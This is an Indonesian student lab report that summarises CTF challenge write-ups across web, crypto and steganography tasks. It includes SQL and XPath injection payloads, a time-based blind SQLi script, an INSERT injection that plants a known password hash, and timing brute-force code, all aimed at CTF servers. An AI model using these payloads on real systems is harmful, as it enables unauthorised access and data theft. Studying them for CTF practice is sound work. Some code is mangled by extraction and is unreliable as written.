LAPORAN TUGAS AKHIR
PRAKTIKUM JARINGAN KOMPUTER
“RANGKUMAN WRITE UP CTF TIME”
Disusun untuk Memenuhi Mata Kuliah Praktikum Jaringan Komputer yang Dibimbing oleh Bapak Irawan Dwi Wahyono, S.T., M.Kom
Disusun Oleh:
Katya Lindi Chandrika 140535605307 Ni’matul Rochmaniyah 140535606481
UNIVERSITAS NEGERI MALANG FAKULTAS TEKNIK
JURUSAN TEKNIK ELEKTRO
i
Contents
DEF CON CTF Qualifier 2013 - 3dub 1 ... 1
DEF CON CTF Qualifier 2013 - 3dub 2 ... 3
Mozilla CTF 2012 - Spark – Underwater Camouflage ... 4
VOLGA CTF 2014 Quals - Web 100 ... 5
BackdoorCTF 2014 - Web100 UnderscoreJS ... 22
BackdoorCTF 2014 - Web 200 ... 23
BackdoorCTF 2014 - Web 250 Yaml ... 24
Sharif University CTF 2014 - Rolling hash ... 25
Pwnium CTF 2014 - XWebSite ... 26
EKOPARTY CTF 2015 - XOR Crypter ... 37
Internetwache CTF 2016 - Quick Run ... 38
Internetwache CTF 2016 - The hidden message ... 39
Internetwache CTF 2016 - Crypto-pirat ... 40
Internetwache 2016 - Replace with grace ... 42
ii
Internetwache CTF 2016 - Texmaker ... 45
Nuit de Hack Quals 2014 - carbonara ... 47
Nuit de Hack Quals 2014 - Here kitty kitty ... 48
Olympic CTF 2014 - Binathlon 10 – Just no one ... 49
Olympic CTF 2014 - Out there ... 50
Olympic CTF 2014 – as seen on defcon ... 51
Olympic CTF 2014 - crypting ... 52
BackdoorCTF 2014 – wifi password ... 54
ASIS CTF Finals 2014 - caplow ... 56
ASIS CTF 2014 Quals - Plough ... 57
Sharif University CTF Quals 2014 – Decrypt the message! ... 62
Sharif University CTF Quals 2014 – AES Broken ... 64
DEF CON CTF Qualifier 2013 - Symphony ... 66
PlaidCTF 2015 – strength ... 68
VolgaCTF 2015 Quals - rsa ... 70
Hack.lu CTF 2012 – zombie talk ... 73
Hack.lu CTF 2012 ... 75
29c3 CTF - pwsafe ... 76
EBCTF Teaser 2013 – crypto100 ... 77
ASIS CTF Finals 2013 ... 78
Securinets CTF Quals 2015 - cookie ... 81
Securinets CTF Quals 2015 – No choice ... 82
Boston Key Party CTF 2015 – Northeastern Univ ... 83
SECCON 2015 - Nonogram ... 85
School CTF 2015 – Awesome web ... 91
School CTF 2015 – Lazy Cryptanalyst ... 92
School CTF 2015 – Highly proffesional ... 93
BCTF 2016 – special RSA ... 94
PlaidCTF 2014 - twenty ... 97
9447 Security Society CTF 2015 – flag finder ... 99
9447 Security Society CTF 2015 - imaged ... 100
9447 Security Society CTF 2015 – sanutf8y_check ... 101
9447 Security Society CTF 2015 - dubkey ... 102
SECCON CTF 2015 – Last Challenge ... 103
SECCON CTF 2015 – start seccon ctf ... 104
iii
SECCON CTF 2015 – decrypt it ... 107
9447 CTF 2015 - nicklesndimes ... 108
SECCON CTF 2015 – Individual Elebin ... 112
InsomniHack 2016 – Bring the noise ... 113
Break In 2016 – you can(t) see me ... 115
Break In 2016 – find the idiot ... 116
Break In 2016 – eight circle of hell ... 117
Break In 2016 – three thieves threw trumpets through trees ... 118
CSAW CTF Qualification Round 2015 – crypto 50 ... 119
HackIm CTF 2016 – Crypto question 1 ... 120
HackIm CTF 2016 – crypto question 2... 121
HackIm CTF 2016 – crypto question 3... 123
HackIm CTF 2016 – crypto question 4... 124
HackIm CTF 2016 – crypto question 5... 125
TU CTF 2016 – never ending crypto level 1-9 ... 126
Hack Lu CTF 2016 - redacted ... 132
Hack The Dragon CTF 2016 – rev elf ... 139
Hack The Dragon CTF 2016 – wordpress plugin ... 140
HITCON CTF Qualification 2016 – let’s decrypt ... 141
TU CTF 2016 – secure transmission ... 143
Hack The Dragon CTF 2016 – mesin 5 ... 145
Burning CTF 2015 – decrypt RSA ... 146
Trend Micro CTF 2015 – cryptography 100 ... 147
Ghost in the Shellcode 2014 - dogecrypt ... 151
Sharif University CTF 2014 – iran pro league ... 153
VolgaCTF 2015 Quals - MIDI ... 156
Teaser CONFidence CTF 2015 – Power level... 158
Teaser CONFidence CTF 2015 – practical numerology ... 161
Teaser CONFidence CTF 2015 – apache underwear ... 163
ASIS CTF Qulas 2015 – strange authen ... 165
1
DEF CON CTF Qualifier 2013 - 3dub 1
source: http://blogs.univ-poitiers.fr/e-laize/2013/06/17/dc21_3dub_1/
01
URL: http://badmedicine.shallweplayaga.me:8042
Ketika text field username diberi input phoenix maka halaman web akan menampilkan pesan
success!
logged in as phoenix
the key is only for the admin
Ketika text field username diberi input admin maka halaman web menampilkan pesan
admin login disabled
Langkah pertama dilakukan dengan menginspeksi header HTTP
POST /login HTTP/1.1
Host: badmedicine.shallweplayaga.me HTTP/1.1 303 See Other
Date: Mon, 17 Jun 2013 13:44:10 GMT Location: /welcome
SetCookie: username=2bf80e TransferEncoding: chunked
ContentType: text/plain; charset=utf8
Direktori /login sepertinya mengenkripsi username lalu redirect pada /welcome Jika username adalah “admin”, maka cookie tidak diset
Langkah kedua melakukan percobaan untuk menebak skema enkripsi pada cookie dengan cara memasukkan berbagai username sebagai berikut
USERNAME COOKIE USERNAME COOKIE
aaaa 09 cd 29 94 af adaaa 09 c8 29 94 af
admaa 09 c8 25 94 af admia 09 c8 25 9c af
admin0 09 c8 25 9c a0 1e admin1 09 c8 25 9c a0 1f
2
GET /welcome HTTP/1.1
Host: badmedicine.shallweplayaga.me Cookie: username=09c8259ca0
HTTP/1.1 200 OK
Date: Mon, 17 Jun 2013 14:21:55 GMT TransferEncoding: chunked
ContentType: text/html; charset=utf8
f4
<!DOCTYPE html> <html>
<head>
<title>badmedicine</title> </head>
<body>
<h1>badmedicine</h1> <h2>success!</h2> <p>logged in as admin</p>
<p>The key is: who wants oatmeal raisin anyways twumpAdby </p>
</body> </html>
3
DEF CON CTF Qualifier 2013 - 3dub 2
source: http://www.blue-lotus.net/def-con-ctf-qualifier-2013-3dub-2-writeup/
02
URL: http://babysfirst.shallweplayaga.me:8041/
Awalnya login menggunakan
username: admin' or '1'='1 password: admin' or '1'='1
Berhasil login namun sebagai root namun halaman web tidak menampilkan apa-apa. Melihat dari header, problem ini sepertinya adalah SQLi problem
Dengan query ini
a' UNION ALL SELECT sqlite_version()
Dapat dilihat bahwa angka yang merepresentasikan database dibalik halaman web adalah sqlite.
Sehingga masukkan query berikut
a' UNION ALL SELECT name from sqlite_master
Halaman web akan menampilkan
babysfirst success!
logged in as keys
Selanjutnya untuk mendapatkan key gunakan query berikut
a' UNION ALL SELECT * from keys
4
Mozilla CTF 2012 - Spark – Underwater Camouflage
source:
http://blog.squareroots.de/en/2012/01/mozillactf-write-up-underwater-camouflage-250/
03
Salah satu challenge pada MozillaCTF adalah untuk menentukan bagaimana Password Recovery Token digenerate.
“There’s something fishy (mencurigakan) about the generation of recovery token. Find out how to generate them for other accounts!”
Token dapat dilihat langsung setelah logging in dan melihat detail user. Untuk mengumpulkan informasi bagaimana algoritma generate ini, dibuatlah tiga akun dan melihat perbedaan dari tiap token yang dihasilkan.
sqrts1;sqrts@mailinator.com;NR0TE0lgSiwIAhBOEhEOUk0RCgwHBAARAGAFCA0JSQcPVB8eTwoBTQAYFRwHYUo= sqrts2;sqrts1@mailinator.com;NR0TE0kRZyAABxVJHQQVTxFcBg4ZBgMXB1NZKQkESQUHThEYDhtAQxwEFBkGVVQ= sqrts3;sqrts2@mailinator.com;NR0TE0kSZyAABxVJHQQVTxFcBg4ZBgMXB1NaKQkESQUHThEYDhtAQxwEFBkGVVQ=
Dapat dilihat perbedaan yang jelas antara user pertama dan user kedua, namun hanya sedikit perbedaan dari user kedua dan ketiga. Melihat dari token yang telah tergenerate, ada perbedaan pada byte ke-8. Perbedaan diantara sqrts1 dan sqrts2 sangat jelas, diantara sqrts2 dan sqrts3 hanya satu bit. Karena perbedaan inilah, dipercayai bahwa alamat e-mail digunakan sebagai input untuk mengenerate token dan bukan karena username.
Diketahui bahwa base64 menyandikan 6 bytes sedangkan base256 menyandikan 8 bytes. Sehingga digunakanlah 8 bytes pertama dari token dan 6 bytes dari alamat e-mail. Melihat dari hasil, dimungkinkan bahwa dilakukan enkripsi XOR.
Sehingga dilakukanlah pengecekan XOR
print xor_crypt_string(base64.b64decode("NR0TE0kS"), "sqrts2")
Yang menghasilkan
Flag:
Hasil menunjukkan bahwa token terbentuk dari enkripsi XOR. Tetapi, alamat e-mail yang telah didaftarkan sebelumnya hanya memiliki 21 karakter, padahal base64 menghasilkan token sepanjang 47 karakter. Sehingga dibuatlah alamat email yang panjang, kemudian mendaftarkan e-mail tersebut.
wearelookingforreallylongxorkeysinthischallenge@mailinator.com
Alamat email diatas menghasilkan token
MQkAFV9MSCIKBxdHFQoTUgYTCQ0NGR0LFFgHGw8AWRoHTgQECBoNSBIFCw0aRkI=
5
VOLGA CTF 2014 Quals - Web 100
source: http://ctfwriteups.blogspot.co.id/2014/03/volga-ctf-2014-quals-web-100.html
04
URL: http://tasks.2014.volgactf.ru:28101/
Langkah pertama dilakukan aksi login
Melihat dari hasil, problem ini berkaitan tentang php session id. Terdapat sebuah komentar pada source page html yang mengatakan help.php, sehingga dilakukan load halaman tersebut
Berikut ini adalah hasil yang ditampilkan browser. Pada text field link terdapat link dengan variabel PHPSESSID.
6
ASIS Quals 2014 – Crypto Random Image
source: http://blogs.univ-poitiers.fr/e-laize/2014/05/10/asis-2014-randomimage/
05
URL: http://asis-ctf.ir/challenges/
Folder memiliki 2 file
$ tar xvfJ crypto_150_8f3fd5d2bacd408904b8406c19183c23 x color_crypto.py
x enc.png
color_crypto.py adalah source code algoritma enkrpsi file PNG menggunakan bahasa pemrograman Python.
#!/usr/bin/env python
import Image import random
def get_color(x, y, r):
n = (pow(x, 3) + pow(y, 3)) ^ r return (n ^ ((n >> 8) << 8 ))
flag_img = Image.open("flag.png") im = flag_img.load()
r = random.randint(1, pow(2, 256)) print flag_img.size
enc_img = Image.new(flag_img.mode, flag_img.size) enpix = enc_img.load()
for x in range(flag_img.size[0]):
for y in range(flag_img.size[1]):
t = random.randint(1, pow(2, 256)) % 250 enpix[x,y] = t
for x in range(flag_img.size[0]):
for y in range(flag_img.size[1]): if im[x,y] < 250 :
s = get_color(x, y, r) enpix[x,y] = s
enc_img.save('enc' + '.png')
enc.png adalah gambar grayscale 8-bit
Analisis algoritma
Skema algoritma bergantung pada grayscale threshold. Pada dasarnya dalam gambar original:
IF level pixel gray >= 250 THEN dianggap sebagai pixel terang
IF level pixel gray < 250 THEN dianggap sebagai pixel gelap Statement tersebut menyandikan gambar
Pixel terang akan disubstitusikan dengan nilai random
random.randint(1, pow(2, 256)) % 250
7
n = (pow(x, 3) + pow(y, 3)) ^ r
kemudian perhitungan di atas akan mengembalikan kurang dari 8 bit
n ^ ((n >> 8) << 8 )
perhitungan tersebut ekuivalen n & 0xff
Kelemahan
Kelemahan dari perhitungan di atas adalah tiap pixel dengan koordinat x dan y dikenal sebagai nilai konstan r.
1. Tiap nilai pixel dari gambar yang telah disandikan di XOR dengan nilai (x3 + y3) 2. Sehingga byte yang kurang penting dari r adalah nilai yang paling sering terjadi
3. Akhirnya
Jika sebuah pixel dari gambar yang telah disandikan XOR (x3 + y3) = nilai byte yang kurang penting dari r, maka pixel dari gambar original adalah gelap atau hitam
Atau pixel dari gambar original adalah terang atau putih
Mungkin ada beberapa pixel yang dianggap gelak ketika mereka cerah karena nilai random namun secara statistik mereka akan sedikit
Dekoder menggunakan bahasa pemrograman Python
import Image
enc_img = Image.open('enc.png') enc_pix = enc_img.load()
# 1. XOR all pixel values with corresponding (x**3 + y**3) pow_pix = [(enc_pix[x,y] ^ (x**3 + y**3)) & 0xff
for x in range(enc_img.size[0]) for y in range(enc_img.size[1])]
# 2. r_LSbyte = most frequently occurring byte
r_LSbyte = max([b for b in range(0x100)], key = pow_pix.count)
flag_img = Image.new(enc_img.mode, enc_img.size) flag_pix = flag_img.load()
for x in range(enc_img.size[0]): for y in range(enc_img.size[1]):
if ((enc_pix[x, y] ^ (x**3 + y**3)) & 0xff == r_LSbyte):
8
ASIS Quals 2014 – Web Hidden Flag
source: http://blogs.univ-poitiers.fr/e-laize/2014/05/11/asis-2014-hiddenflag/
06
URL: http://asis-ctf.ir/challenges/
Untuk menyelesaikan problem ini, diharuskan menemukan flag tersembuyi. Pada dasarnya, untuk mencari flag harus melihat secara detail pada halaman website. Satu cara yang bagus dan mudah adalah dump paket jaringan dari halaman web dan mencari beberapa kata pilihan. Untuk menggunakan cara ini, tentu saja harus menonaktifkan pengkodeab gzip/deflate pada browser untuk melihat html polos. Kemudian dengan menggunakan tcpdump sederhana dalam bentuk ASCII dan grep akan menampilkan flag sementara
$ tcpdump A s 16384 host asisctf.ir | grep i 'asis_\|flag'
...
XFlag: ASIS_b6b?244608c2?c2e869cb56?67b64?b1 ...
Terlihat seperti flag yang valid, diambil dari header respon HTTP dari website CTF. Setelah itu mencari kemungkinan dari tanda ?
Menemukan flag yang tepat
Submission board ASIS memiliki fungsionalitas yang menarik, yang memeriksa flag sebelum mengirimnya pada website asis-ctf.ir
<script src="/static/js/sha256.js"></script> <script>
$(document).on('hidden.bs.modal', function (e) { e.preventDefault();
$(e.target).removeData('bs.modal');
});
var i=0;
var result=['Please try again!', 'Try harder!', 'Your answer is not correct!', 'The submitted flag is not correct!', 'False flag!', 'Wrong answer!', 'Sorry!'];
var final_result="Do you want to hack me?";
$('#flag_submission').submit(function(e){ e.preventDefault();
var shaObj = new jsSHA(document.forms["flag_submission"]["id_flag"].value, "TEXT"); var hash = shaObj.getHash("SHA256", "HEX");
var shaObj2 = new jsSHA(hash, "TEXT"); var hash2 = shaObj2.getHash("SHA256", "HEX");
if (document.forms["flag_submission"]["check"].value !== hash2) { if ($("#id_flag").next().length == 0){
$('<div class="alert alertdanger" id="answer" ></div>').insertAfter('#id_flag'); }
if (i++>6){
$('#answer').removeClass('alertdanger').addClass('alert'); $('#answer').text(final_result);
}
9
$("#modaldialog").modal('hide'); },
error: function(){ alert("failure"); }
}); }); </script>
Sehingga flag yang telah dikirim dilakukan hash sebanyak dua kali menggunakan SHA-256 dan hasilnya dibandingkan dengan form check, dimana pada problem ini adalah:
<input id="id_check" name="check"
value="61e18627ead3caaf56c89140e11533491ea3cc7b405d3e4d95bba333860c0acc" type="hidden">
Jadi, dilakukanlah bruteforce untuk 4 karakter yang belum diketahui dengan menggunakan script di bawah ini
import string
from hashlib import sha256
check = '61e18627ead3caaf56c89140e11533491ea3cc7b405d3e4d95bba333860c0acc' for h1 in string.hexdigits:
for h2 in string.hexdigits: for h3 in string.hexdigits: for h4 in string.hexdigits:
FLAG = 'ASIS_b6b'+h1+'244608c2'+h2+'c2e869cb56'+h3+'67b64'+h4+'b1' if sha256(sha256(FLAG).hexdigest()).hexdigest() == check:
print 'Found flag:', FLAG break
10
ASIS 2014 final - PTOT
source: http://blogs.univ-poitiers.fr/e-laize/2014/10/13/asis-2014-ptot/
07
URL: https://asis-ctf.ir/tasks/PTOT_1d23c8694e5cf6727b9ed21285a0d61f Deskripsi
Temukan flag pada image (PTOT_1d23c8694e5cf6727b9ed21285a0d61f)
Hal pertama yang harus dilakukan adalah menemukan gambar apakah yang diberikan
Dengan menggunakan google image akan ditemukan beberapa link menarik seperti ini sebagai contoh
http://www.voiceonapage.com/ProjectsTypography/Typeface%20Poster/PTOT.pdf
Jadi, PTOT adalah singkatan dari Periodic Table of Typefaces. Dapat diperhatikan pada gambar beberapa font tidak pada tempatnya, dan beberapa muncul 2 atau 3 kali. Sehingga dibuatlah tabel seperti berikut agar mengetahui perbedaan (original rank --> crypto rank | crypto symbol)
11 string hex menjadi ASCII akan didapaykan string dengan panjang 36 karakter dan diakhiri dengan sesuatu seperti nilai md5 yaitu
H=format(324878083202626694117443567177148322190861294622618211941523751741739958462509854242915, 'x')
print H.decode("hex")
>>> ?;??d?hI<q"Cv?f?%?,??/¦38???ca808c
Setelah itu mengira-ngira dimanakah letak byte yang hilang, dapat diperhatikan pada tabel perbedaan dimana terdapat tiga satu-digit nomor. Dengan menambahkan 0 pada angka-angka berikut (kecuali yang pertama untuk menghindari konversi oktal pada bahasa pemrograman python), nilai hex akan memberikan string dengan panjang 37 karakter yang merupakan final flag.
H=format(3248780832026260694117443567177148322019086129462261821194152375174173995846250985424291 5, 'x')
print H.decode("hex")
>>> ASIS_c9a1cd21db5d38923562fccabbca808c
12
BackdoorCTF 2014 - Web 10
source: http://ctfwriteups.blogspot.co.id/2014/03/backdoor-ctf-2014-web-10.html
08
Pertanyaan:
H4x0r adalah seseorang yang penasaran. Ia biasanya melihat secara detail. H4x0r berhasil menemukan flag pada tingkat ini. Bisakah kamu?
Melihat pada header HTTP maka akan terlihat flag
13
ASIS CTF 2014 RECON - Fact or Real
source: http://ctfwriteups.blogspot.co.id/2014/10/asis-ctf-2014-recon-fact-or-real.html
09
Hal pertama yang dilakukan adalah mengecek twitter handle dari ASIS kemudian ditemukan bahwa biasanya orang yang bernama factoreal adalah orang utama pada hosting asis-ctf. Ketika dilakukan pengecekan pada foto twitternya, terdapat clue atau hint “fact or real” dan motto pada gambar: “NO+$=YES”
Flag adalah ASIS_md5(NO+$=YES)
14
ASIS CTF 2013 - login
source:http://www.blue-lotus.net/asis-ctf-finals-2013-login/
10
URL: http://blog.deadcat.me/writeup/2013/09/01/asis-ctf-finals-2013-login/
Setelah membuka URL di atas ditampilkan sebuah form login. Ketika membicarakan form login maka hal pertama yang ada pada benak adalah SQL injection.
Setelah beberapa kali testing, akhirnya ditemukan injection time-based pada field username menggunakan
1' AND BENCHMARK(5000000,MD5(0x123)) AND ''='
Hal ini dapat diselesaikan dengan menggunakan sqlmap namun cara ini terlalu lama dan menampilkan beberapa kesalahan.
Dengan menggunakan script bahasa pemrograan Python untuk menyelesaikan problem, lalu menemukan beberapa informasi yang berharga. Ada tiga database yaitu
information_schema sqli_db
test
Ada database yang sangat mencurigakan yaitu sqli_db
Didalam database tersebut hanya terdapat sebuah tabel dengan nama users Tabel users memiliki empat field yaitu
user_id user_name user_email
user_password_hash
Awalnya, dilakukan pengambilan data dari tabel tersebut namun tidak ditampilkan apa-apa, namun beberapa waktu kemudian didapatkan sebuah string dari field user_password_hash
$2y$10$gyI0vxnE3ZncmdLNGVmwTew/aPwBZPY4cEMCRENAjN4?0l8iu9O5R6iW
Dilakukan pencarian “$2y$10” dengan menggunakan google, dapat diketahui bahwa string tersebut adalah head dari metode enkripsi blowfish hash PHP, namun kelihatannya tidak bisa mendapatkan nilai asli dari string tersebut.
Hint:
$2y$10$HXDsGCYFW5ajuzYO5qcyfOygl5r27BQB5DkL5ZfgoTfPSRMhlUAnG
Pada waktu itu, admin memberikan hint pada problem ini
15 Pada waktu yang sama, tiba-tiba isi dari tabel user menghilang. Karena hal tersebut maka dilakukan percobaan menggunakan query INSERT
';insert into users values (333,'hqd','1','1@1.com');select '
Dan akhirnya berhasil. Dengan sangat mudah, lakukan penambahan data hash dari password. Ada script PHP yang dapat melakukan hal ini
';insert into users values
(333,'hqd','$2y$10$YTNlM2RiNmFiODgzZGM2YuYqP7NHnuZ31TyucetPJkODqia/XH5KC','1@1. com');select '
#this is the blowfish hash value of 'admin'
Lalu kembali login menggunakan username: hqd dan password: admin kemudian muncul flag
ASIS_9689926853009CAAD5BF824863077DC9
Source code yang digunakan f.py
from httplib import HTTPConnection
HTTPConnection._http_vsn_str = 'HTTP/1.0'
def post_payload( payload ):
conn = HTTPConnection( '78.38.193.187' )
conn.putrequest( 'POST', '/', skip_accept_encoding=True, skip_host=True ) conn.putheader( 'ContentType', 'application/xwwwformurlencoded' ) conn.putheader( 'ContentLength', str(len(payload)) )
conn.endheaders( message_body=payload ) resp = conn.getresponse()
resp.read()
from urllib import urlencode from time import time
def get_bool( expression ): start = time()
post_payload( urlencode( dict( login = '',
user_password = ' ',
user_name = "'OR if(%s,benchmark(1500000,md5(0)),0) AND''='" % expression, ) ) )
end = time()
print 'Time:', endstart return endstart>0.95
def get_bit( expression ):
return '1' if get_bool( expression ) else '0'
from itertools import count
16
# def get_query( expression ):
# print get_string( 'database()' )
print get_string( '(SELECT IFNULL(CAST(table_name AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x73716c695f6462 LIMIT 0,1)' )
# print get_string( '(SELECT IFNULL(CAST(table_name AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=\'information_shema\' LIMIT 0,1)' ) # print get_string( '(SELECT IFNULL(CAST(COLUMN_NAME AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=\'users\' LIMIT 5,1)' ) # print get_string( '(SELECT CAST(COUNT(*) AS CHAR) FROM users)' ) # print get_string( '@@datadir' )
17
ASIS Quals 2014 - Image
source: http://blog.rentjong.net/2014/05/asis-quals-2014-image-trivia-50.html
11
URL: http://asis-ctf.ir/tasks/joy/trivia_50_88da3c57a7b4489036943d35d551cab2
Challenge ini sebenarnya cukup mudah dan terlihat dari poin yang diberikan (50) :), hal yang membuat sedikit frustasi adalah karena flag yang di dapatkan tetap harus di "bruteforce" untuk mendapatkan flag yang tepat, dan ternyata ada hint: yang harus menghubungi panitia terkait flag yang tepat.
Seluruh challenge umumnya merupakan file yang di kompresi 2 kali 7z (xz) dan tar, kemudian untuk challenge ini didapatkan file sbb:
Bagi para gamer atau yang merupakan penggemar nintendo pasti akan langsung mengetahui bahwa ini adalah file game untuk nintendo, dan untuk OSX terdapat free emulator yang dapat di pergunakan (salah satunya Nestopia)
Untuk mendapatkan flag-pun kita hanya perlu memainkan game tersebut pada mode "flag" dan apabila selesai stage 1 akan didapatkan flag
18
ASIS CTF Quals 2014 - Spy Paper
source: http://quangntenemy.blogspot.co.id/2014/05/asis-ctf-quals-2014.html
12
URL: http://asis-ctf.ir/tasks/stego/steg_100_282d645e3be22eda015aeb255a0b86f5 Deskripsi
Download file pada URL di atas kemudian kalkulasi hasil dengan metode MD5 dan menambahkannya setelah “ASIS_”
Gambar yang didapatkan dari download sangat besar dan mudah untuk melihat setia detail. Namun sayangnya, ditemukan keanehan dan keganjalan dalam gambar biru ini dan titik-titik yang mengingatkan pada punched tape dimana sangat dekat dengan solusi akhir. Dan akhirnya dapat ditemukan parity bits dan decrypt pada bagian kedua, namun sayangnya tidak dapat ditemukan hal yang penting dan berguna pada bagian pertama.
19
ASIS CTF Quals 2014 - White noise
source: http://quangntenemy.blogspot.co.id/2014/05/asis-ctf-quals-2014.html
13
URL: http://asis-ctf.ir/tasks/stego/steg_250_8be7a320b7cbc2696f352cb42e717a0b
Analisa histogram menunjukkan bahwa nilai pada channel green dan blue terbagi rata, dan alasan dibalik semua ini adalah digukan sebagi koordinat untuk mengatur ulang pixel.
Namun, red channel hanya memiliki 1 nilai yaitu 126 sehingga akan sia-sia jika mengatur ulang seluruh gambar. Akan didapatkan gambar persegi merah saja sehingga dilakukan pengaturan dengan menggunakan 30 baris pertama dari gambar untuk penataan ulang dan akhirnya akan didapatkan flag
20
BackdoorCTF 2014 - Web 30
source:
http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-web-30-eng.html
14
URL: http://backdoor.cognizance.org.in/problems/web30/
Langkah pertama yang dilakukan adalah masuk pada secure zone
http://backdoor.cognizance.org.in/problems/web30/auth.php?
Dengan begitu server akan merespon “Sorry, you will never get a flag in your life :P Not authorized”
Selanjutnya buka get-request menggunakan development tools pada browser. Sebagai catatan, cookie auth = false telah diset.
Ubah nilai menjadi true kemudia buka halaman secure zone dan akhirnya akan didapatkan flag:
21
BackdoorCTF 2014 - Web 100
source: http://blog.semekh.ir/post/backdoorCTF-2014-web100-1-writeup
15
Tentu saja web server menampilkan file gambar untuk menilainya. Setelah itu melihat request dengan cara mengetikkan
netcat lkv 54321
Dan submit link image
http://YOURIP:54321/
Sehingga akan mendapatkan tulisan seperti berikut
listening on [any] 54321 ...
connect to [YOURIP] from backdoor.cognizance.org.in [128.199.215.224] 46845
GET / HTTP/1.1 Host: YOURIP:54321 Accept: */*
X-Referrer: 92702a9381515494689f5d14f85a83b7.php
Ada sesuatu yang menarik yaitu Referrer. Selanjutnya dicoba untuk mengakses url tersebut yang berisi pesan
By the way, the flag is f556b9a48a3ee914f291f9b98645cb02
Pada komentar HTML
22
BackdoorCTF 2014 - Web100 UnderscoreJS
source:
http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-web-100-2-eng.html
16
URL: http://backdoor.cognizance.org.in/problems/web100-2/ Format flag: md5_string
form menggunakan JSON, template. Diketahui bahwa underscore.js dapat digunakan sebagai template library. Kode juga telah diberikan.
Pertama-tama, buka kode dan cari flag (dapat ditemukan di app.js) if(!process.env.FLAG)
{
console.error("No flag in environment"); process.exit(1);
}
Lalu tampilkan hasilnya. Kemudian isi form yang ada di bawah (data = JSON valid, template = single statement seperti di bawah ini)
23
BackdoorCTF 2014 - Web 200
source: https://scoding.de/backdoorctf-2014-writeup
17
URL: http://backdoor.cognizance.org.in/problems/web200/submit.php
Problem:
H4x0r baru-baru ini membuat server baru. Karena malas, dia tidak mensetting servernya dengan baik dan menemukan bahwa severnya agak lambat dan semakin lambat ketika menjalankan query yang panjang. Kepala di perusahaan mencoba untuk mengakses servernya Dia berpikir bahwa server tidak dapat dicrack. Buktikan bahwa ia salah. Format flag = md5_string
Problem ini mencari password untuk halaman login. Di dalam source code, teradapat useleep(20000) dimana dieksekusi ketika huruf yang telah dicek benar. Untuk melakukan bruteforce pada password, ditulislah script yang melemparkan exception jika waktu yang diberikan terlampaui.
#!/usr/bin/env python
import urllib2
import string
alpha=string.letters+string.digits
url="http://backdoor.cognizance.org.in/problems/web200/submit.php?key="
r=urllib2.urlopen(url+test_key, timeout=t)
except:
if len(password)<=i: password+=a
print password
break
r=urllib2.urlopen(url+password)
print r.read()
Dengan cara ini didapatkan password huruf demi huruf
./brute.py
24
BackdoorCTF 2014 - Web 250 Yaml
source:
http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-web-250-eng.html
18
URL: http://backdoor.cognizance.org.in/problems/web250-1/
Format flag: md5_string
Problem ini mirip dengan problem BackdoorCTF 2014 Web100-2 template library yang digunakan adalah mustache. Data dan template disimpan pada satu field (data dimulai dan diakhiri dengan tanda --)
Format data adalah yaml, template library adalah mustache. Solusi yang sama {{process.env.FLAG}}, tidak dapat digunakan. Yaml menggunakan data type yang didefinisikan oleh user. Banyak parser yang mensupport type fungsi javascript.
Masukkan data seperti yang ada pada di bawah ini kemudian klik Convert
25
Sharif University CTF 2014 - Rolling hash
source: https://ctfcrew.org/writeup/73
19
Task:
flag="*********"
def RabinKarpRollingHash( str, a, n ): result = 0
l = len(str)
for i in range(0, l):
result += ord(str[i]) * a ** (l i 1) % n print "result = ", result
RabinKarpRollingHash(flag, 256, 10**30)
Output adalah
1317748575983887541099 Apa flagnya?
Solusi:
Fungsi hash ini mengambil tiap karakter pada string yang telah diinput kemudian mengkonversinya kedalam tipe data int dan mengalikannya dengan pangkat dari a dan modulo n. Namun melihat dari hash ini
RabinKarpRollingHash(flag, 256, 10**30)
a = 256 dan itu berarti tiap perkalian yang dilakukan dengan a ekuivalen dengan simple left-shifting. Jika input string pendek maka tidak perlu dilakukan perkalian dengan modulo dan mencoba untuk merestore flag dengan menggunakan kode berikut ini
hashed_flag = 1317748575983887541099 result = ""
while hashed_flag > 0: byte = hashed_flag&0xff result += chr(byte)
hashed_flag = hashed_flag byte hashed_flag = hashed_flag >> 8
print result[::1]
26
Pwnium CTF 2014 - XWebSite
source: https://ctftime.org/writeup/1160
20
Problem ini adalah kasus tentang injecting sebuah aplikasi web yang rentan. Bukan tentang MySQL melainkan XPATH.
Seseorang dapat melakukan login sebagai admin dengan menuliskan
Username: ' or '1' = '1 Password: ' or '1' = '1
Dan kemudian pada field user tuliskan
' or '1' = '1
Dengan ini akan ditampilkan hasil beserta flag yaitu
27
Pwnium CTF 2014 - Find the Owner
source:
https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-find-the-owner/
21
File yang diberikan adalah file dalam format .exe. Admin berkata bahwa “This file harm to your computer”. Sehingga dapat dikatakan bahwa file ini berbahaya untuk komputer dalam arti lain file ini adalah malicious program atau malware. Untuk menyelesaikan problem ini maka digunakan bantuan tool untuk menganalisis apakah program tersebut memang benar malware atau tidak. Berikut ini langkah-langkah untuk melakukan aktivitas crack:
1. Kunjungi alamat https://anubis.iseclab.org/ untuk online malware analysis tool 2. Kemudan upload file yang telah diberikan
3. Setelah dianalisis maka akan diberikan sebuah file traffic.pcap dan report 4. Observasi report aktivitas iexplore.exe
5. Mendapatkan IP dan alamat port
iexplorer.exe – Network Activity From ANUBIS:1028 to 193.95.68.245:81
28
Pwnium CTF 2014 - So basic
source:
https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-so-basic
22
Untuk menyelesaikan problem ini dibutuhkan waktu yang cukup lama dan agak sedikit sulit. Langkah-langkah untuk cracking:
1. Pertama extact Misc75.zip
2. Kemudian obeservasi 40 file yang didapat. Tiap file memiliki ukuran 2 bytes. Nama file ditulis dengan string yang telah disandikan menggunakan md5sums.
3. Setelah itu observasi karakter md5sums dan membandingkan nama file yang diberikan 1. Kemudian mengobservasi untuk angka (beberapa nama file sama dengan angka md5sum) 2. Percobaan observasi dilakukan dengan menggunakan angka 0-39.
3. Hitung angka tersebut dengan menggunakan md5sums 4. Lakukan pengecekan pada tiap nama file
5. Dan pada akhirnya didapatkan urutan dari nama file
29
